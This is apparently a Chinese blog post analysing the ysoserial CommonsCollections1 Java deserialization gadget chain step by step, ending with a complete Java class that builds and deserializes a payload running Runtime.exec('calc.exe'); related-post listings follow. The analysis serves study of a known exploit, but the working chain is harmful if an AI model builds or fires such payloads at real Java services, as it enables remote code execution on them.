/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

0、先假设Runtime类可序列化,最终要实现:

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

1、从最后一步开始,调用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
 

transform方法实现了完整的反射,通过InvokerTransformer构造方法传入方法和参数。

所以这一步的利用链

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、InvokerTransformer的transform的调用,在ChainedTransformer的transform实现。

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

如果Transformer[]里面的对象是:

Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer

第一次循环:(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环:invokerTransformer.transform(runtime)

所以这一步的利用链:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

3、ChainedTransformer的transform谁来调?LazyMap的get方法存在transform调用(key不存在的时候)。

public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
} private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
} private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
} //-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

通过decorate方法,修改this.factory为chainedTransformer对象,最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

4、lazyMap的get谁来调用?这里面用的AnnotationInvocationHandler的invoke,该方法存在某个属性的get,属性可通过构造方法改变。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
} public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method"); switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
} // Handle annotation member accessors
Object result = memberValues.get(member); if (result == null)
throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result); return result;
} /**
* This method, which clones its array argument, would not be necessary
* if Cloneable had a public clone method.
*/

因为AnnotationInvocationHandler类非public,通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues,得到对象handler,接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已经有了,那么应该怎么触发handler执行方法,来调用invoke方法
AnnotationInvocationHandler的readobject方法,存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

以下是AnnotationInvocationHandler的readobject重写

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
} Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

最后AnnotationInvocationHandler对象反序列化,执行readobject也就触发了proxyMap的invoke方法

要解决的问题:Runtime类未实现Serializable,需要使用反射调用,反射方法用什么来触发执行?

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式实现:
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好实现了这组链的调用

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以最后runtime的实现利用链:

Transformer[] transformers = {
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最终实现的利用链:

public class CC1Test3 {
public static void main(String[] args) throws Exception { Class cr = Class.forName("java.lang.Runtime"); Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime}); HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
objectInputStream.readObject();
}
}

ysoserial CommonsCollections1 分析的更多相关文章

  1. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  2. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  3. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  4. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  5. java反序列化Commons-Collections1分析

    AnnotationInvocationHandler关键类 Commons-Collections1也是利用InvokerTransformer类中的transform方法反射机制执行命令.实验用的 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  8. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  9. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  10. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

随机推荐

  1. K8S增加限制后的启动时间验证

    K8S增加限制后的启动时间验证 背景 前段时间看了下JVM载linux上面的启动时间, 进行过一些验证. 最近想着能够验证一下K8S上面的启动相关的信息 所以就整理了一下. 虽然没有特别好的结论, 但 ...

  2. [转帖]nginx中的if和else语法

    https://www.dyxmq.cn/it/nginx/nginx-if.html nginx支持if语法,语法和平常的代码格式差不多:   1 2 3 if ($xxx = xxx) {     ...

  3. [转帖]038-拯救大兵瑞恩之 TiDB 如何在 TiKV 损坏的情况下恢复

    https://tidb.net/blog/4b5451bb?utm_source=tidb-community&utm_medium=referral&utm_campaign=re ...

  4. [转帖]TiDB 内存控制文档

    https://docs.pingcap.com/zh/tidb/stable/configure-memory-usage 目前 TiDB 已经能够做到追踪单条 SQL 查询过程中的内存使用情况,当 ...

  5. tidb备份恢复的方式方法

    tidb备份恢复的方式方法 摘要 可以单独每个数据库实例进行备份,但是这种机制实在是太慢了. 网上查资料发现可以使用 tiup br 的方式进行备份. 但是大部分文档都比较陈旧, 官网上面又比较贴心的 ...

  6. [转帖]Jmeter创建数据库(JDBC)测试-4

    上一章节讲述如何建立HTTP请求测试,本章节将介绍使用MySQL数据库驱动程序进行JDBC测试.要使用该驱动程序,必须将其包含的.jar文件(例如mysql-connector-java-XXX-bi ...

  7. 【转帖】用pycharm开发django项目示例

    https://www.cnblogs.com/kylinlin/p/5184592.html pycharm开发django工程(一) 在pycharm(企业版)中新建Django工程,注意使用虚拟 ...

  8. [转帖]OutOfMemoryError内存溢出相关的JVM参数

    原文在这里: OutOfMemoryError内存溢出相关的JVM参数 JVM提供了很多处理内存溢出的相关参数,本文主要来讲解下这些参数,当你遇到内存溢出的时候可能会对你非常有帮助,这些参数主要有: ...

  9. [转帖]JAVA之G1垃圾回收器

    https://www.cnblogs.com/boanxin/p/12292331.html 概述 G1 GC,全称Garbage-First Garbage Collector,通过-XX:+Us ...

  10. adb驱动安装

    学会adb,工资涨一千 win系统安装 1.安装adb首先需要去官网下载adb安装包,下载完成后解压会有一个adb目录以及目录下四个文件 2.然后将adb目录mv到C:\Windows下,配置环境变量 ...